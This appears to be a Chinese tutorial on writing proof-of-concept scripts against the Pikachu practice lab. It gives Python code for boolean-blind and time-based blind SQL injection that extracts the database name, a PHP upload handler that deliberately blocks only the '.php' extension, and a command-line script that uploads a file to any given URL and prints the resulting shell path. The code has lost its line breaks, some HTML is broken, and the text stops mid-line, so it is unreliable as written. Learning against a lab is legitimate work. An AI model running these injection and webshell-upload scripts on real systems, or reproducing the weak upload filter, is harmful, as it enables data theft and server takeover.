poc編寫-時間盲注、布爾盲注以及php審計文件上傳
前言:
滲透測試的時候往往會遇到盲注這類的繁雜的手工測試,所以需要編寫半自動化腳本去進行測試減少時間浪費并快速獲取漏洞結果信息,根據目前的漏洞靶場進行漏洞利用分析進行poc編寫。
poc-sql布爾盲注
sql盲注
一、首先測試接口確認漏洞存在
pikachu就后面的#要編碼成%23
二、得到數據庫名長度
poc(判斷數據庫準確長度)
length(database())=str(dbNameLen)=7=pikachu
import requestsurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"#計算響應包長度params={"name":"kobe","submit":"查詢"}normalhtmllen = len(requests.get(url=url,params=params).text)#print("the len of HTML:",normalhtmllen)print("the len of HTML:"+str(normalhtmllen)) #+號要加str()改為字符串dbNameLen = 0while True:dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查詢"print(dbNameLen_url)if len(requests.get(dbNameLen_url).text) == normalhtmllen:print("The len of dbName",dbNameLen)breakif dbNameLen == 200:print("Error!")breakdbNameLen += 1
三、根據得到的長度去用substr()由頭到尾一個個字符串遍歷出完整的數據庫名
(這里事先知道數據庫名是pikachu,調用string.ascii_lowercase的Data是26個字母去節省比對數量以節省比對時間)
(zon)

import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"#計算響應包長度params={"name":"kobe","submit":"查詢"}normalhtmllen = len(requests.get(url=url,params=params).text)# url2=requests.get(url=url,params=params)# print("the len of HTML:",normalhtmllen)# print(url2.url)print("the len of HTML:"+str(normalhtmllen)) #+號要加str()改為字符串#---根據得到的長度去用substr()由頭到尾一個個字符串遍歷出完整的數據庫名--------dbName=""for i in range(1,9):for a in string.ascii_lowercase:dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查詢"#print(dbName_url)if len(requests.get(dbName_url).text) == normalhtmllen:dbName += aprint(dbName)
總源碼:
import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"#計算響應包長度params={"name":"kobe","submit":"查詢"}normalhtmllen = len(requests.get(url=url,params=params).text)# url2=requests.get(url=url,params=params)# print("the len of HTML:",normalhtmllen)# print(url2.url)print("the len of HTML:"+str(normalhtmllen)) #+號要加str()改為字符串#------------判斷數據庫名的長度-------------------------------------------------------------------dbNameLen = 0while True:dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查詢"if len(requests.get(dbNameLen_url).text) == normalhtmllen:print("The len of dbName",dbNameLen)breakif dbNameLen == 200:print("Error!")breakdbNameLen += 1#----------------------------------------------------------------------------------------------------------------#---根據得到的長度去用substr()由頭到尾一個個字符串遍歷出完整的數據庫名-----------------------------------------------dbName=""for i in range(1,9):for a in string.ascii_lowercase:dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查詢"#print(dbName_url)if len(requests.get(dbName_url).text) == normalhtmllen:dbName += aprint(dbName)
poc-sql延時
sql延時
一、首先測試接口確認漏洞存在
接口輸入
kobe' and sleep(3)#kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

python語句:
dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查詢"
注入語句:
name=kobe'+and+if(length(database())=7,sleep(5),1)%23&submit=查詢
二、(獲取數據庫長度)通過res = requests.get(url,timeout=3)與sleep(5)不同的結果進行比較

if "timeout" in timeOut(dbNameLenUrl)
通過timeOut()函數得出:
①如果返回大于3s,那么函數timeOut()返回的結果是 return "timeout" ,
所以if語句為1,即timeout=timeout
②如果返回小于3s,那么函數timeOut()返回的結果是 return res.text的網頁html內容
所以if語句為0,不成立
import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php"def timeOut(url):try:res = requests.get(url,timeout=3)return res.textexcept Exception as e:return "timeout"dbNameLen = 0while True:dbNameLen +=1dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查詢"print(dbNameLenUrl)if "timeout" in timeOut(dbNameLenUrl):print("數據庫名長度:",dbNameLen)breakif dbNameLen == 30:print("error!")break
三、獲取數據庫名(原理和第二步一樣)

#---------獲取數據庫名---------------------------------------------------------dbName = ""for i in range(1,dbNameLen+1):for char in string.ascii_lowercase:dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查詢"if "timeout" in timeOut(dbNameUrl):dbName += charprint(dbName)break
總源碼:
import requestsimport stringurl = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php"def timeOut(url):try:res = requests.get(url,timeout=3)return res.textexcept Exception as e:return "timeout"dbNameLen = 0while True:dbNameLen +=1dbNameLenUrl = url + "?name=kobe'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)%23&submit=查詢"print(dbNameLenUrl)if "timeout" in timeOut(dbNameLenUrl):print("數據庫名長度:",dbNameLen)breakif dbNameLen == 30:print("error!")break#---------獲取數據庫名---------------------------------------------------------dbName = ""for i in range(1,dbNameLen+1):for char in string.ascii_lowercase:dbNameUrl = url + "?name=kobe'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)%23&submit=查詢"#print(dbNameUrl)if "timeout" in timeOut(dbNameUrl):dbName += charprint("數據庫名為:",dbName)break
poc+exp-文件上傳靶場php源碼
if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
move_uploaded_file($_FILES['file_upload']['tmp_name'], './poc' . $_FILES['file_upload']['name']);echo "{$_FILES['file_upload']['name']}";
endif;?><form method="post" enctype="multipart/form-data">File: <input type="file" name="file_upload"><input type="submit">form>
提交的參數為post因為$_File需要post傳參,
<form method="post" enctype="multipart/form-data">File: <input type="file" name="file_upload"><input type="submit">form>
一次能同時選中多個文件同時上傳
type="file" name="file_upload" multiple="multiple" />
move_uploaded_file()
move_uploaded_file() 函數將上傳的文件移動到新位置。
定義和用法
move_uploaded_file() 函數將上傳的文件移動到新位置。
若成功,則返回 true,否則返回 false。
語法
move_uploaded_file(file,newloc)
參數 描述
file 必需。規定要移動的文件。
newloc 必需。規定文件的新位置。
源碼分析
應該是一般上傳后默認上傳的路徑是tmp_name這個臨時文件夾,所以修改路徑到./,就是和上傳功能php源碼同一文件夾
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "{$_FILES['file_upload']['name']}";

所以修改href修改為真實路徑的跳轉路徑:
echo "{$_FILES['file_upload']['name']}";
in_array
in_array—檢查數組中是否存在某個值
講參數$ext的上傳pathinfo和$file得到的文件信息傳入in_array去判斷pathinfo('', PATHINFO_EXTENSION)提取出來的后綴名是否是php。
所以在這里pathinfo()只是給in_array使用,后面就沒有再使用過了。
if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
$_FILES
PHP $_FILES 是一個預定義的數組,用來獲取通過 POST 方法上傳文件的相關信息。如果為單個文件上傳,那么 $_FILES 為二維數組;如果為多個文件上傳,那么 $_FILES 為三維數組。
參數:
名字(name)
類型(type)
臨時文件夾路徑(tmp_name)
報錯(error)
文件大小(size)

file.html<html><head>head><body>body><form enctype="multipart/form-data" action="file.php" method="POST">Send this file: <input name="userfile" type="file" /><input type="submit" value="Send File" />form>html>
新建一個用于接收文件信息的 PHP 文件 file.php,代碼如下:
file.phpecho " ";print_r($_FILES);?>
在 file.html 頁面選擇文件后,單擊 Send File 按鈕,將會在頁面輸出以下信息:
輸出文件的
名字
類型
臨時文件夾路徑(tmp_name)
文件大小

對源碼分析:
if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
里的這句
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
選擇提取的參數是name、type、tmp_name、error、size的5個中的name屬性,pathinfo()的PATHINFO_EXTENSION提取$File處理完的內容
(name=file.txt)的后綴名txt
pathinfo()
pathinfo() 函數返回字符串
定義和用法
pathinfo() 函數以數組的形式返回關于文件路徑的信息。
pathinfo(path,options)
返回的數組元素如下:
[dirname]: 目錄路徑
[basename]: 文件名
[extension]: 文件后綴名
[filename]: 不包含后綴的文件名

對源碼分析:
if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php'])) {die('Unsupported filetype uploaded.');}
里的這句
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
選擇提取的參數是name、type、tmp_name、error、size的5個中的name屬性,pathinfo()的PATHINFO_EXTENSION提取$File處理完的內容(name=file.txt)的后綴名txt
poc

import requestsurl = "http://127.0.0.1/poc/upload.php"upfile={"file_upload":open("321.py","rb")} #rb以二進制的方式讀文件postdata={"usersubmit":"隨便"}res = requests.post(url=url,data = postdata,files=upfile)#為了統一寫到字典里print(res.text)print(res.url)
exp
phpstudy記得傳回7if (!empty($_FILES)):$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);if (in_array($ext, ['php4'])) {die('Unsupported filetype uploaded.');}move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);echo "{$_FILES['file_upload']['name']}";endif;?><form method="post" enctype="multipart/form-data">File: <input type="file" name="file_upload"><input type="submit">form>
res.text[9:20]切片

上傳php


#!/usr/bin/env python# -*- coding:utf-8 -*-
import requestsimport sys#獲取命令行的參數url = sys.argv[1]path = sys.argv[2]#print(sys.argv[1])postUrl = url + "/poc/upload.php"upfile = {"file_upload":open(path,"rb")}res = requests.post(url=postUrl,files = upfile)print(res.text)print("The Shell path : "+ url+res.text[9:19
